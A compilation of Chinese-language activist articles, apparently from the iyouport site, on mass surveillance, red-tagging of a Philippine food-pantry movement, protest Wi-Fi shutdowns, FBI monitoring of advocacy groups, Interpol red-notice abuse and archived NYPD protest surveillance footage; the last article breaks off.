诸如面部和行为识别之类的生物识别监视系统还使政府间谍的维稳更容易针对其广大的人群。

- 列表1—类目 “生物识别和抵抗方法”

Egyptian security forces block the road leading to Cairo’s Tahrir Square, Sept. 27.

但是，大规模监视不仅仅是强化镇压的问题。全球所有寡头公司都在使用自己的监视形式 —— 收集一切数据以瞄准每一个消费者，并进行生物特征检查，以观察每个人的情绪和行为，以此来操纵人们👇。

2012年，《纽约时报》报道塔吉特（Target）发现了一个十几岁的孩子怀孕了，然而她的父亲却一无所知。再一次：那是2012年 —— 这个案例在接下来的多年中一直在被全球的人权倡导者引用以借此说明监视资本主义体制和算法专制有多可怕。

在监视资本主义体制和算法专制的世界里，人类不再有自主权，仅仅被视为等待被采集的资源。

- 《心理操纵的秘密："行为经济学"＋PR＝？》
- 《看不见的独裁》
- 列表1—"算法专制"

现在它甚至使用蓝牙跟踪您在商店过道中的每一步行动。

五年前，美国联邦贸易委员会（US Federal Trade Commission）呼吁国会监管数据经纪人，称消费者有权知道他们被拿走的一切信息。

然而，直到2019年，这些公司仍然不受任何监管，并拥有大量有关个人的致命信息，而公众几乎完全不知道被拿走的是什么。

噩梦一步步加深。

为这些监视系统提供动力的是一个越来越复杂的个人数据网络。

在2009年，这些数据可能包括您的邻居和购买历史记录；而现在，从面部特征到在线搜索结果，您最私密的一切都被拿走了，被出卖了 —— 尤其是，来自不同来源的看似无关紧要的数据在被交叉引用后，您已经完全地赤身裸体。

- 非常推荐这篇文章《"如果你不偏执，那就是疯了"》

全球所有科技寡头一直在构建最大范围的监视系统，其中包括美国科技巨头谷歌、亚马逊、Palantir 和微软等。

在中国，SenseTime、阿里巴巴和海康威视等公司是全球最大的监控摄像头制造商，它们正迅速将垄断的市场从中东蔓延到拉美。

- 上述所有内容在列表4—"高堡奇人的世界"

以色列 NSO 集团等其他参与者同时帮助全世界的政府可以轻松地闯入任何记者和持不同政见者的电子设备。

- 专栏 「关于以色列和NSO」

这种全景监视基本直接复制于 George Orwell 的《1984》和 Aldous Huxley 的《勇敢新世界》。

- 2019年是这本书发表的第70周年，然而《70年后，还是1984》

在几个世纪以前，小说家曾将监视想象为 “乌托邦社会的基石”。早在1771年，法国小说家 LouisSébastienMercier 便在一部名为 L’an 2440 的畅销小说中描绘了一个未来主义社会，例证了启蒙运动的理性价值观。想象中的 “社会秩序” 是由一群秘密警察执行的。

如果直到现在您依然认为 “监视是为了安全”，那么只能说明，您还留在几个世纪之前。

对于大多数现代历史而言，大规模监视在实施中一直是费力且昂贵的。

史塔西（Stasi）因监视东德人生活中的一切而臭名昭著，它依靠的是大量的人类线人和官僚通过信件和电话来窃听每个人。

一位在柏林墙倒塌之前在德累斯顿长大的朋友曾经告诉我，她记得幼儿园老师问她的父母是否在看西德电视（他们是怎么知道的？是的，他们就是知道）。

没有这种程度的人类参与，这些传统的监视系统将无法正常工作。

- 审查局的工作人员显然少于**25**人—— 但是，他们得到了全国公民监视网络的支持，这些”群众”每天提交一千多份报告！《独裁者的监视指南》

对于那些有重点监视黑名单的政府来说，这种监控方法可能运作得很好，但是，当要完全压制全社会所有异议人士时，就要困难得多了。

在尼加拉瓜和朝鲜等世界欠发达地区，国家监视仍以这种方式发挥作用 —— 群众斗群众。

但是在较富裕的国家（从美国和英国这样的民主社会到中国这样的专

制社会），进行监视的负担已经从人类线人转移到了算法上。

- 中国还没有完全依赖算法监视全社会《中国：为什么要重启笨拙低效的斯塔西式群众斗群众？》

对于政府和公司来说，这使得在这些地方的监视效率大大提高，并且随着技术的进步和日益普及，世界上已经越来越多的国家采取了相似的方法。

- 《美国和中国在监视公民方面引领全球》

2012年，我与作者兼记者 Peter Maass 撰写了一篇文章，主张我们应该将手机视为 “追踪器”，而不仅仅是打电话的东西 —— 那是2012年。

然而到了2019年，这个问题依旧没有解决。见：

- 《你的手机如何背叛了民主？》

你的手机和你下载的所有应用程序一直在监视你的一举一动 —— 必须尽快让更多人意识到这点。*Anti-government protesters demonstrate at the Metropolitan Cathedral during a protest in Managua, Nicaragua, May 26.*

在2012年我们发表该文章时并不知道，就在不到一年后，29岁的前国家安全局承包商爱德华·斯诺登（Edward Snowden）泄漏了前所未有的文件，这些文件显示了美国大规模监视计划的真实范围 —— 全球。

- 中文完整版报告《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

斯诺登泄露的文件显示，除其他外，美国国家安全局一直在在从数百万的 Verizon 客户那里收集电话记录，并且它已经通过后门访问了 Google 和 Facebook 的数据。

相比下德国的斯塔西简直弱爆了 —— 当今的美国情报部门通过监视程序一次性就可以监听数百万个电话，并阅读所有电子邮件和短信。

到斯诺登躲藏在香港的一家旅馆时，我也已经离开了美国。我于2012年底到达北京，开始担任路透社驻中国的记者 —— 并对自己成为政府监视对象有着完整的心理预期。

毕竟，只有几十个外国记者在中国这个拥有十亿人口的国家驻扎，这些人的写作内容也受到了严格的审查，因为他们有能力塑造世界对中国的看法。

我经常和一个外籍男朋友开玩笑，他是一位从事外交政策工作的美国人，关于某个不安全的 “国家安全” 实习生正在监视我们可爱的GIF和表情符号。我们把窃听者想象成混乱的官僚，而不是代码行。

一年来，一位中国警察官员尖锐地评论说，我的公寓看上去廉价又不整洁 —— 这是让我知道他看过我的公寓内部的一种方式。

在其他情况下，据说警察会到我家借口检查我的热水器是否符合标准，但是，他们花了更多时间关注我书架上的物品并询问我的工作。

我的同事，例如英国《金融时报》的记者，她在微信上有私人账户，中国的政府官员直接引用了他们在微信上的私人对话。👇

- 《微信 Is Watching You》

但是，总的来说，我们中谁都没有确切地发现我们的公寓是否被窃听、我们的电子邮件是否被阅读、我们的手机是否受到监控。我们假设这一切都已经确认，于是我们的一举一动都是在表演。

在中国，遍地都是斯诺登的故事 —— 一位美国持不同政见者揭露美国监视系统的故事太多汁了，它迅速流传。时至今日，中国官员有时仍会提起斯诺登，以反驳中国监视社会相关的问题。

那时，监视似乎像是一个看不见的网络 —— 每个人都知道它的存在，但实际上很难直接看到。

我从来没有预料到，监视技术将扩展到如此明显和广泛的形式，以至于它像北京臭名昭著的雾霾一样已经成为空气的一部分。

以面部识别监视相机为例，在新疆西部地区首次出现之后，现在在中国全境已经无处不在。

新疆地区早已成为全球高科技监视的中心，中国政府将其与严厉的人类警务相结合使用，其中包括警官向个人询问数十个高度个人化的问题，并将其回答输入到数据库。

警察在人们的住所、路边审讯中收集数据，并输入到被称为 “联合行动平台” 的集中式监控系统中，该系统可以确定是否应拘捕某个穆斯

林公民。

这是政府使用21世纪监视技术将基于种族和宗教信仰的人们定为目标以便将他们送往拘留所第一个例子，在那里，他们会遭受酷刑和其他可怕的虐待。

- 这只是21世纪的案例，但这种做法有着悠久的历史《纳粹和你》
- 别忘了，中国的自动化种族主义背后的人是谁《西方学术界帮助构建了中国的自动化种族主义》
- 《中国的反乌托邦监视国家是美国制造的》

2017年秋天，当我访问新疆南部城市喀什时，感觉就像是透支着令人窒息的未来一瞥 —— 每个人都必须接受DNA采集、甚至在汽车中加满汽油也需要扫描虹膜。

- 《美国公司如何帮助中国借助 DNA 数据追踪公民》

A demonstrator wears a face mask featuring Chinese President Xi Jinping while shining a light from a smartphone during a protest on Queensway in the Admiralty district of Hong Kong in December.

从那以后，新疆使用的许多技术已经出售给了世界其他地方。如果您想要知道新疆模式已经在哪些国家被复制，见列表4—“中国：半壁高堡奇人”。

但是，问题在于，在全世界范围内都很少有人反抗监视技术。在美国，面部识别技术已经被广泛使用，只有少数城市禁用它，然后，只有政府当局使用它。

反对大规模监视系统的活动家依旧很难说服人们这些技术真正有害，尤其是在公共安全或恐怖主义是严重问题的地方。毕竟，数字监控通常是不可见的，大多数人只能理解那些切肤之痛。

- 《持续的监控如何损伤了你的大脑？》

阿根廷民权协会专门研究技术和人权的律师 Leandro Ucciferri 说，“人们通常不了解整个情况。”

真的是这样吗？我们的经验显示，很多中国人都了解监视，然而人们告诉我们：“你没办法，你应该放弃，应该循规蹈矩”。你看，人们已经被监视所改变了。

当我凝视着监视系统的后端时 —— 该系统声称可以通过人们的衣着、面部、步态和行为来跟踪所有人 —— 我想知道如何继续以同样的方式开展工作。我还能走出去到咖啡店见信息源而避免被吸入算法操纵的视频流吗？

在这个如此容易受到监控的世界里，无数私人生活方面会发生什么？—— 去接受治疗？购买避孕药？约会？……

当我们每个人的脸而不仅仅是手机都已经成为跟踪器时会发生什么？*Surveillance cameras are seen above tourists as they visit Tiananmen Square in Beijing.*

厄立特里亚是非洲之角的一个小国，在这里人们可以肯定地看到政府监视人民的方法仍然在沿用20世纪的产物。

在这里，只有2%的人可以访问互联网，其中大部分是城市精英。几乎没有证据表明当权者在美国和中国所使用的那种先进的监视系统上进行了投资。

我的朋友，驻厄立特里亚的瑞典籍记者和活动家 Vanessa Tsehaye 坚信该国的基层人权运动的能力。她是一名刚毕业的大学生，十几岁的时候就参加了抗议活动，以要求政府将其叔叔、记者 Seyoum Tsehaye 释放出监狱。

Tsehaye 是我认识的最坚决的活动家 —— 但即使是她，也对未来的监视系统的近一步发展感到沮丧。

Tsehaye 说："他们的主要审查方法是限制对互联网的访问。厄立特里亚是世界上被审查最严重的国家，尽管如此，人们仍在缓慢而肯定地动员起来。"

"但是，如果添加了先进的监视技术，政府可以做他们想做的任何事。它将摧毁一切。"

今年年初，我在一次会议上遇到了一名尼加拉瓜学者，并问他有关抵抗丹尼尔·奥尔特加总统的抗议活动，该活动已经席卷全国。我很好奇那里的抗议者是否关心面部识别监控。

他告诉我去 Google 图片上搜索 "尼加拉瓜抗议活动"。果然，每张照片都显示，示威者用手帕和太阳镜遮住了脸。*Protests erupted in Nicaragua last week, with violent consequences.*

除了面部识别，还有很多原因令抗议者想要遮住脸，催泪瓦斯就是其中之一；但是无论如何，面具在世界各地的示威活动中已经成为惯例。

- 《香港的抗议活动中再次强调了你的脸如何成为武器》

在我担任记者期间，我遇到的大多数示威者都不愿意为自己争取的事业冒险入狱。相反，他们是有工作、家庭和责任的普通人。

我想知道在新的先进监视技术的存在下，未来的抗议运动究竟还是否可能？

如果人们知道自己的一言一行都会被算法所监控和操纵，究竟还有没有人愿意在网上抱怨当权者、与朋友交换政治话题、或者，出去参加街头抗议？

- 《技术如何塑造21世纪的创造性抗议？》

随着技术的普及，在世界某些地区，反监视运动开始兴起。

- 《在三岔口：中国、欧洲和美国提供着完全不同的“互联网未来”》

埃及技术专家 Eskandar 认为，仍有乐观的空间。

“不合规是革命的动力，我已经看到了它的发生。一些资源很少的人也能并已经超越了国家机器，这一次又一次地发生。我真的相信，主张自由而不是法西斯主义的人可以自由思考。所以有希望。”

所以，现在的问题是，需要更多人回答这个问题：《你真的想要思想自由吗？如果是，可以怎么办？》〇

The Rise—And Rise—Of Mass Surveillance

原文

共产主义者，恐怖分子，恶魔：社会互助的直接行动缘何成为被攻击的目标 - iyouport

维稳面面观

人们只是饿了 ……

这是一场伟大的直接行动。政府不作为，灾难导致大量的人民挨饿和失业，活动家认为不能再等待了，他们开始为穷人筹集和分发食物。然而，发起这场行动的活动家却被总统辱骂为 “狗娘养的”，这是怎么回事？

意识形态标签被作为镇压反抗的武器，这一实例在全世界都具有代表性。

当又一次严格的封锁关闭了她在奎松市的家具店时，Ana Patricia Non 坐在里面发呆。Covid-19疫情在菲律宾很残酷，导致数百万菲律宾人饥饿和失业，包括她自己的工人。政府的援助太少了，没有到达最需要的人手中，而这个国家已经存在的巨大的不平等差距也与日俱增。

Non 想出了一个简单的计划。4月14日，她在店外放了一辆推车，里面放了罐头、大米和蔬菜。在一个小纸牌上，她写下了后来成为全国性运动的基本原则的文字：“给你能给的，只拿你需要的”。

成千上万的人排着长队等待食物。Non拍摄的一张关于她的手推车的照片被张贴在 Facebook 上，并被传为佳话。在两个星期内，全国各地纷纷建立了**800**多个社区救济站。捐款蜂拥而至。在美国的一项众筹活动筹集了2万美元。菲律宾地理学家在GitHub资源库中建立了一个众包地图，为用户指出最近的社区食品资助站点的位置。在Twitter上，人们使用标签 #CommunityPantryPH 来保持这场直接行动的势头。

4月20日，在该运动受到亲政府的trolls的网上攻击后，Non 不得不将她的摊位关闭了24小时。一个有影响力的反共产主义政府宣传工作队负责人称该运动为 “恶魔”。这种 “红色标签”—— 将人们打成左派和

国家的敌人，以诋毁他们 —— 已经成为在菲律宾开展任何社会运动的一个严峻的和可预见的威胁。在一个政府与共产主义反叛斗争了50多年、法外暴力屡见不鲜的国家，被贴上红色标签就像被悬赏通缉一般。

关于菲律宾，在这里看到《走进暗杀之城》

“许多人在挨饿，攻击难道不应该瞄准那些造成老百姓饥饿的人吗？”Non说，“这算什么？很明显，那帮家伙是闲得难受了。”

将进步的举措贴上“破坏国家稳定”的标签，可以追溯到该国殖民时代的历史。社会学家 Jayeel Cornelio 说，在整个20世纪的菲律宾，以社区为基础的组织很容易被成为攻击目标，因为他们的进步行动很容易被打上社会主义的标签。“这并不新鲜”，Cornelio 说，“国家没有能力辨别其中的细微差别。”

杜特尔特的专制政府将共产主义运动视为头号公敌，与早先的反毒品战争叙事无缝衔接，在这场战争中，数以千计的贫穷的菲律宾人被杀害。

杜特尔特是一位民粹主义领导人，他把自己描绘成一个傲慢自大的人。那些强调并试图解决社会问题、让普通人拥有控制权的慈善组织，都可以被解释为对他的统治的威胁，这就是为什么社区食品互助成为了被攻击目标。

“食品互助是广大人民重新获得[他们的]控制感的时刻”，马尼拉雅典耀大学的政治学家阿吉雷（Arjan Aguirre）说。

4月19日，杜特尔特政府为应对所谓的社会主义威胁而成立的“全国结束地方共产主义武装冲突工作队”的发言人安东尼奥·帕拉德中将在该工作队拥有10.8万多名追随者的 Facebook 页面上写下了对社区食品互助的攻击内容，称该运动是“左派的招募工具”，这让所谓的红色标签开始流行起来。另一位机构发言人洛林·巴多伊（Lorraine Badoy）在她的个人 Facebook 账户上也发表了类似的抨击文章。

Trolls 也来参加这个运动了。在杜特尔特担任总统期间，自称是杜特尔特死忠支持者的互联网 trolls 经常放大政府的虚假宣传信息，并在所谓的“红色”标签中聚集起来。帕拉德说，正是这些支持者首先向他透露了“食品互助运动的威胁”。

发起食品互助运动的 Non 被攻击为职业敲诈者、“谎言大师”和恐怖

分子，并被指控为共产主义激进组织——“新人民军”筹集资金。

甚至总统本人也参与其中。在4月28日的录音讲话中，杜特尔特说：“这些狗娘养的没有思考。他们只是想向人民展示他们的关心，但由于他们的无知，他们并不真正关心。”人们在奎松市的马哈里卡街社区食堂门外排队等候领取食物

Non 说，她的运动并不是政治性的；它只是在填补一个迫切的社会需求。菲律宾的经济是由数百万非正式工人推动的，其中许多人生活在贫困之中。封锁、宵禁和检查站破坏了人们的收入来源，因为与中产阶级不同，穷人们不能在家里工作。

“有些人没的选”，Non说，“他们需要为家人牺牲自己的健康和安全”。

政府已经向在大流行期间失去收入的人提供了一些现金补贴。4月初，政府开始向较贫困的家庭发放每人最多80美元的现金；成千上万的菲律宾人排队领取，往往要排上几个小时。

“无论发放多少现金援助，人们都应该得到社会福利。人们需要食物；他们需要家”，Non 说。

红色标签实际上使菲律宾人更加团结在社区食品互助运动的周围，而且捐款也增加了。全国各地都出现了新的食品互助站点。

Non说：“在社区互助之前，普通菲律宾人和穷人已经被剥夺了他们的尊严。那些贬低社区食堂的人，他们诋毁志愿者、捐款和菲律宾人的斗争。”○

Communist, terrorist, satanic: how Duterte’s trolls targeted a mutual aid movement

原文

别依赖你无法控制的东西 - iyouport

维稳面面观

【2019年8月27日存档】千万不要对你自己无法完全控制的东西产生依赖性，否则将意味着你随时都可以被他人控制住。这个互联网的基础设施不是公民能控制的，于是公民反抗者如果过于依赖互联网，将很容易被当权者限制住行动

千万不要对你自己无法完全控制的东西产生依赖性，否则将意味着你随时都可以被他人控制住。这个互联网的基础设施从来不是全球互联网用户能够控制的东西，它被掌握在权势的手里；作为普通人如何你反对权势的行为，那么你真的需要避免自己对这个互联网高度依赖，否则你很可能难以实现反对。

在很多国家，一旦某一地区发生群体事件，很可能导致当局做的第一件事就是断网。IYP 介绍过《如何用指标预测互联网中断？一旦断网还可以怎么办？》，不过鉴于移动设备的使用比例如此之高，当局还可以在关键场地周围实施更加针对性的阻塞。英国就是这么干的。

伦敦警方关闭了该市一些地铁站的 Wi-Fi 接入，此举是为了试图破坏环保抗议者的行动。

截止四月底，已经有300多名抗议者在英国首都被捕，警方围捕的目标是主要道路、桥梁和地铁站。抗议者是 Extinction Rebellion 组织，他们希望英国到 2025 年将其碳排放量减少到零，并且已经表示，公民不服从和群众抗议是提高公众意识的最有用的工具。

抗议者选择的最后一个地点是伦敦码头区轻轨铁路的金丝雀码头站，这是一个地上轻轨系统。DLR是伦敦众多铁路系统之一，包括 Underground，Overground 和 Crossrail。

隧道内没有互联网接入，但通过 Virgin Media 的 Wi-Fi 在数百个站点和地下平台上提供。这就是警察关闭它的原因。

“为了安全起见，英国交通警察已经决定限制地铁站的乘客的 Wi-Fi 连接，” 英国交通警察发言人在给 Verge 的一份声明中说，他说 “这是因为 Extinction Rebellion 组织的抗议者打算在4月17日造成对地铁服务的干扰。”

该发言人表示正在关闭，并将“全天侯审查。”他们没有确切地说明哪些站点受到了影响。

关闭伦敦地铁站的 Wi-Fi 对英国交通警察来说是不寻常的举动。目前尚不清楚这种举动在多大程度上阻止了气候抗议者协调的能力。

警方必须遵循哪些程序才能实现关闭Wi-Fi？不知道，但是 Virgin Media 的发言人表示，他们已经收到了警方指示，要求他们关闭Wi-Fi。显然他们没有质疑警方的程序问题

这件事提醒活动家应该事先考虑 planB，尽可能减少那些你无法控制的东西的决定性影响。顺便说，北大正在“全面Wi-Fi”，猜猜看这意味着什么？

原文

又有数十个政治倡导团体成为政府间谍的重点监视目标 - iyouport

维稳面面观

【2020年7月7日存档】政府间谍拒绝透明度，司法部维护间谍机构的利益

智囊团卡托研究所（Cato Institute）呼吁国会调查联邦调查局是否在监视国内政治团体。因为该研究所是被监视目标之一。

Cato 的研究员 Patrick Eddington 已提交了200多份《信息自由法案》（FOIA）请求，要求公开FBI的档案文件，涉及该间谍机构对政治倡导团体、公民自由组织、智囊团和各个政治领域出版物的秘密监视。

但是请求失败了。

联邦调查局表示，目前为止它“既不能确认也不能否认”是否已经在这些团体上收集了各种情报。

这些被政府间谍瞄准的组织包括移民权利组织“Kids in Need of Defense”、变性人法律中心、前众议员 Ron Paul 的“自由运动”组织、基层第四修正案倡导组织 Restore the Fourth、卡托研究所、以及 Reason 基金会。

您可以在此处看到司法部的答复，该判决支持联邦调查局拒绝确认或否认情报记录的存在。

卡托研究所在发布的新闻稿中说，这些回应“表明国会有必要对联邦调查局的国内监视做法展开积极调查。”

烂大街的“无法确认也无法否认”回应是一种常用托辞。该术语起源于1975年基于 FOIA 的一项滚石新闻记者针对 CIA 的诉讼。

当时一位联邦法官裁定，如果中情局本身认为公开文档会“损害国家

安全”，则中央情报局可以拒绝承认此类记录的存在。此后，这种说法就传播到了其他联邦机构，甚至流传至州和地方政府机构，例如 NYPD。

这种回应是有意设计的，压制了公民监督政府活动的任何权利。Eddington 收到的回应可能毫无意义。

然而，Eddington 说，尽管这种回应并不能证明联邦调查局已经收集了这些公民权利团体的情报，但是他们明显的针对性至少增加了上述团体遭遇违宪监视或信息搜集的可能性。

联邦调查局拒绝对此事发表评论。

联邦调查局长期以来一直在监视持不同政见的政治团体，从20世纪初的社会主义者和劳工组织者、到民权运动领袖、9/11后的环保主义者和和平主义者、再到 “Black Lives Matter” 抗议者，都遭到监视。

- 《在没有CCTV的时代警察同样全面监控抗议活动，他们是怎么做的？》

2013年，卫报报道说，联邦调查局（FBI）对反战组织 Antiwar.com 的联合创始人进行了秘密监视并创建了 “威胁评估” 长达六年之久。去年九月，第九巡回上诉法院裁定联邦调查局必须清除现场监视记录。

“我们是 *后爱德华·斯诺登* 的组织，因此我们特别需要关注受到FBI监视的可能性，” Restore the Fourth 组织的负责人 Alex Marthews 说。

“我们认为这种监视是非常不适当的，因为我们知道我们的活动是完全和平的和符合宪法的。”

Eddington 说，任何这样的监视都是在危害言论自由。

“联邦调查局一贯持续地搜集有关正在行使其第一修正案权利的新闻机构或国内社会团体的数据，在没有任何犯罪依据的情况下，应该明确禁止这种行为。” ○

Is the FBI Snooping on Political Groups and Ideological Publications?

原文

国际刑警组织被政府武器化，在全球追捕政治异议和活动家 - iyouport

维稳面面观

国际刑警组织成为专制政权的长臂。

国际刑警组织已经成为一种武器。

这个国际执法联盟确实有一个合法的目的；理论上它的存在是为了防止人们仅仅因为离开了他们犯罪的国家而逃避司法。这是一个有价值的目标，但是，这也是一个很容易被滥用的机制。

例如，土耳其政府特别致力于保持其在 “入狱记者最多的国家” 名单上的领先地位，而如果没有国际刑警组织的帮助，它无法做到这一点。2018年，土耳其向国际刑警组织发出 “红色警报” 通知，寻找被指控犯有政府编造的任何胡话八道的所谓罪行的记者，希望其他国家的警察部队能够围捕政府想要惩罚的两名自我流放的作家。

这个问题还在持续。根据《卫报》的 Josh Jacobs 的报道，情况可能会越来越糟。

国际法律专家说，随着[国际刑警组织]通缉名单的增长，也出现了一个令人震惊的现象，即：各国都在利用国际刑警组织实现政治利益或进行政治报复—— 针对海外国民，如政治对手、异议人士、活动家和难民。在大约 66,000 份有效的红色通缉令中，有多少可能是基于政治动机的指控，目前还不得而知；国际刑警组织没有公布它拒绝了多少红色通缉令的数据。但包括美国国会、欧洲议会和学术界在内的许多报告都记录了近年来国际刑警组织的权力滥用情况。布罗蒙说：“我认为没有任何争议，[……]滥用红色通缉令的数量正在增加”。

利用国际刑警组织的警报系统来追捕政治对手和异议人士，违反了国际刑警组织的宪法。但宪法一直在被违反着（很多国家的宪法都只能顶个球），但是，审查是费时的，某些国家更愿意淹没这个系统，希望偷偷地通过非法的请求。

而且有一些国家比其他国家更多地滥用这一程序。仅俄罗斯就产生了近40%的红色通缉令，这些通知被用来针对政府想要惩罚的任何人，而不是通知中所述的原因。众所周知，俄罗斯还通过国际刑警组织的另一个被称为“扩散”的选项发出更多的非正式请求，该选项允许各国政府直接相互联系，提供有关被通缉逃犯的信息。这使得权力滥用的范围难以量化，并且它导致了这样的事实：

国际刑警组织的一种不太正式的追捕逃犯的方案，称为“扩散”，通常被认为更容易被滥用。通过这些警报，国际刑警组织成员可以直接向对方发送逮捕请求。这就是出生于俄罗斯的立陶宛难民尼基塔·库拉琴科夫在塞浦路斯被囚禁数周的原因，此前他在*2016*年去探望母亲的途中在机场被拘留。

库拉琴科夫在俄罗斯因涉嫌偷窃一位街头艺术家的画作而面临五年的监禁。针对他的国际刑警通缉令是在他开始为俄罗斯反腐败基金会工作后发出的，该基金会由反对派政治家阿列克谢·纳瓦尔尼创立，他去年被神经毒剂毒杀，现在被囚禁在俄罗斯境内。

当政府直接向国际刑警组织撒谎时，国际刑警组织的审查人员可能很难反驳指控或找出通缉令的真正原因。事情总是能通过过滤系统，比如土库曼人权活动家 Annadurdy Khadzhiev 的案件，他在保加利亚被拘留，因为有人指控他挪用土库曼斯坦国家银行的资金。但问题是，指控声称的所谓挪用资金发生在 Khadzhiev 停止为该银行工作的四年之后。

另一个问题是已知的滥用者仍被允许使用该系统。报告指出，国际刑警组织去年拒绝了700多份土耳其的请求，但该国仍被允许发布红色通缉令和扩散。众所周知的人权恐怖秀叙利亚不顾多个成员国的抗议，刚刚恢复了对国际刑警组织的访问。尽管中国利用国际刑警组织的系统追捕维吾尔族活动家，这些活动家为了躲避政府近乎持续的压迫而离开了中国，但中国仍在此有良好的声誉。

这有什么好处吗？是的，但鉴于能够进入国际刑警组织系统的国家数量以及多年来观察和记录的滥用情况，这种好处是有限的。已知的不良行为者仍被允许进入该系统，人们只是期待该系统在剔除假请求方面变得更好。

在[秘书长尤尔根]斯托克的领导下，国际刑警组织加强了其监督机构——国际刑警组织档案控制委员会（CCF），该委员会负责审查上诉并可以删除红色通缉令，并公布更多有关投诉决定的信息。他还加强了专家小组的力量，该小组负责在通知公布前进行审查。批评者对这

些变化表示欢迎，但有些人说这个系统仍然不够强大。斯托克承认，还有更多的工作要做。他说：“在这个阶段，我没有银弹，不知道我们还能做什么”。但他强调，在他任职的最后三年里，他致力于尽可能地进一步加强保障措施。

需要做更多的工作，但至少该组织是由一位知道需要做工作的秘书长领导的，也许更重要的是，他对国际刑警组织所面临的挑战以及它在哪些方面没有达到理想的要求持开放和直接的态度。

在限制滥用红色通缉系统方面，没有简单的答案。国际刑警组织可以将无赖国家踢出去，但这可能只是鼓励更多国家使用完全的法外措施，如非常规引渡或派遣国家工作人员直接谋杀政治对手和政府批评者。至少在国际刑警组织，有一个文件线索，可以显示系统是如何被滥用的，以及谁是出于政治动机的通缉请求。〇

Has Interpol become the long arm of oppressive regimes?

原文

在没有CCTV的时代警察同样全面监控抗议活动，他们是怎么做的？ - iyouport

政府的间谍行为维稳面面观

【2020年7月2日存档】监视如人类历史一般古老，它只是在不同的年代有着不同的形态、不同的操作方式

NYC MUNICIPAL ARCHIVES

仅仅因为警察没有佩戴身体摄像机、没有安装 LinkNYC 亭、或没使用黄貂鱼，并不意味着他们在整个上个世纪都没有监控公民的录像。

在过去的一年中，纽约市市政档案馆一直在仔细地数字化 NYPD 监视部门在1960年至1980年代之间创建的长达140小时监视录像的胶片，从而创造了丰富的视频档案记录，供大家仔细研究。

您可以在这里找到档案，也可以在这里按类别浏览。这是大量的镜头，但是有很多令人着迷的近期历史。

⚠ 其中一些镜头是由便衣警官秘密拍摄的 —— 和斯塔西一样，而其他镜头则是通过警车旁的胶片式摄影机公开拍摄的。

⚠ 而且，许多录像片段都集中在纽约警察局所监视的抗议行动和游行上。其中包括1970年世界地球日游行的录像、伊斯兰民族集会、CORE 和 NAACP 抗议种族隔离的运动、人权组织 Young Lords 的抗议活动、同性恋权利倡导者的早期抗议、肯特州枪击事件后的大规模反战游行、1970年5月的示威游行等等。

录像带作为具有里程碑意义的 Handschu 协议 的一部分发行：Barbara Handschu 和其他15个政治或意识形态协会和组织的其他成员于1971年起诉纽约警察局，理由是监视他们的聚会和活动侵犯了宪法保护的权利。

此案于1985年解决，并产生了一项同意令，禁止NYPD间谍政治和宗教组织和团体，除非有 “特定证据” 将该团体与已经或即将实施的犯

罪联系起来。

除了新的监视指南（纽约警察局已经被指控公然违反）之外，该协议还要求市政档案馆接公开有这些记录，以确定它们是否具有历史重要性。

1971年提起诉讼的律师之一 Martin Stolar 说："这场展示证明了为什么首先要提起诉讼。"

"您可以观看所有视频，但我看不到其中有任何犯罪行为。警察们正在记录的是政治行为。警察局为什么要调查人民的政治活动？那根本不在他们的职责范围内，这就是我们提起诉讼的原因。他们之所以这样做，是为了确定参与政治运动的领导者和成员的身份。为了抓捕。"

纽约市记录和信息服务部写道：

纽约警察局针对被视为"现状敌人"的个人和反抗组织的监视可以追溯到***1900***年代初。在不同时期，重点是无政府主义者、劳工领袖、纳粹支持者、白人至上主义者、社会主义者和共产主义者。

这部监视镜头可以追溯到*1960*年代和*1970*年代 *BOSSI* 小队的鼎盛时期，当时他们收集了关于政治范围内所有个人和团体的情报，⚠尤其是民权组织、反战组织、和女权主义者。

这些监视录像记录了民权运动的顶峰，当时激发了"黑人权力和自豪感"、"妇女平权运动"、"男女同性恋"、"囚犯权利"等社运团体的反抗行动，以及对贫困、环境恶化和越南战争的抵抗运动。

上图中这本书在这里下载：https://t.me/iyouport/6826

民权律师 Gideon Oliver 表示："观看这段录像使我想起，变化越多，它们保持不变的程度就越高。"（这是一句法语谚语。这里指的是当下的警察和政府间谍继续致力于监视打压公民权利行动，并且其侵入性和危害性已经呈指数级上升）

"尽管制定了 Handschu 准则，但纽约警察局仍继续进行监视、渗透和破坏社区和社会正义运动，其透明度极少，当然问责制也更少。

不幸的是，构成所谓的"犯罪活动"的种类繁多而且门槛非常低，几乎任何事都能触发警察的监视：纽约警察局的立场是，正在计划游行的人、或在20人以上的城市公园集会，就可能涉嫌违反法律，于是参

与者必须服从监视，以及在某些情况下的渗透和/或破坏。”

您可以查看以下录像的一些示例，看看您认识的人甚至您自己，是否因行使和平集会的宪法权利而被纽约警察局的监视定位。

首先，您会看到1969年8月2日在第33街和第7大街举行的一次反战集会：“到1969年，越南战争已成为引起广泛社会关注的焦点议题。在反战活动家中，有黑豹、同性恋活动家联盟、学生争取民主社会等著名组织的支持者。”

然后是1963年6月18日的一次反种族隔离示威活动：“尽管纽约市的学校从未被正式隔离，但这部1963年的监视录像显示 NAACP 和 CORE 组织的成员正在游行抗议事实上的隔离。”

下面是1970年5月11日的抗议活动，工会工人抗议当时的市长 John Lindsay：“安全帽动乱发生在200名工会建筑工人暴力破坏了肯特州大学枪击案团结集会的时候，该集会由市中心的大学生和高中生举行。这份监控录像描绘了随后几天举行的众多建筑工人游行之一，表明他们对尼克松总统的支持和对 Lindsay 市长的愤怒。”

Stolar 指出，在此处包含的所有监视视频所描述的完全都是合法的活动：“那么警方到底在录制什么并将其归档到警察档案中呢？这些监视视频本来就不应该存在 …… 但是很高兴他们现在公开了这些视频。这是警察部门或任何其他执法机构的丑闻。”

最后

「图」

人们总是在说“技术鼓励了反乌托邦的地狱世界”，但是，这些资料的曝光显示，在没有高科技监视器材的年代里，警察和秘密政府间谍同样致力于压制和平抗议、阻碍公民行使宪法权利。

监视如人类历史一般古老，它只是在不同的年代有着不同的形态、不同的操作方式。如果公民不能有效抵抗，并且持续抵抗（因为稍有松懈噩梦就极有可能卷土重来），它无疑将继续深化，直到我们再也无能为力。〇

‘These Videos Shouldn’t Exist’: Hours Of Old NYPD Surveillance Films Of Protests Have Been Digitized

原文

在邻国政府的协助下间谍活动家、记者和律师 - iyouport

维稳面面观

【2019年10月15日存档】修墙的钱的确没掏，但是却协助了和墙类似的东西……

当违宪轻而易举时，宪法已经形同虚设。

美国海关及边境保卫局（CBP）在监视记者、活动家和律师方面有一个令人惊讶的合作伙伴：墨西哥政府。

